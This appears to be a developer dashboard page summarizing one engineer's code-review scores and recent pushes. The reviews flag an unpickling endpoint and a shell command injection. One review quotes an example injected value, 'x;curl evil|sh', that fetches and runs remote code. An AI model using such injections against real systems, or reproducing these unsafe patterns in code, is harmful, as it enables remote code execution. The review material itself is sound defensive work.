@priya-natarajan · 0 Days Since

pr

Player card

Priya Natarajan

@priya-natarajan · last push Nov 6

Fully typed
Readable code

Rank

#5 of 6

Score

680/1000

Focus area

Most of your lost points come from OS command injection

Pass an argument list to subprocess and never use shell=True with user input.

Score breakdown

Security402/700

Code craft278/300

Docs78/100

Readability100/100

Type hints100/100

Pushes

Confirmed vulnerabilities

OS command injectionCWE-781 time
Unsafe deserializationCWE-5021 time

Code smells

No recurring smells.

Recent pushes

Open any push for the full review.

Document report service
+97
Check Passed1f245f5Nov 6
Documentation-only improvement to the reports module.
Replace pickled templates with JSON and fix export shell call
+208
Check Passedeaf327aOct 30
Removes both injection sinks introduced earlier: templates are parsed as JSON and exports use tarfile with an alphanumeric name check.

4

With vulns

250%

Clean streak

2

Score history

Security and craft stack up to the total score.

Security (of 700)
Craft (of 300)

Accept uploaded report templates

▼-105

Check Failed24618c71 criticalOct 29

Adds POST /admin/report-templates which unpickles the raw request body. pickle.loads on attacker bytes is remote code execution on the API host.

Nightly export archives for admins

Check Failed25e44bb1 highOct 21

Adds POST /admin/exports/{name}. The path segment is interpolated into a shell command in reports.export_archive (shell=True), so name=x;curl evil|sh executes arbitrary commands. The route requires admin, which limits but does not remove the risk (compromised or malicious admin, CSRF from an admin session).

02Days Since/acme-fintech

Overview Pushes Data Play

Overview Pushes Data Play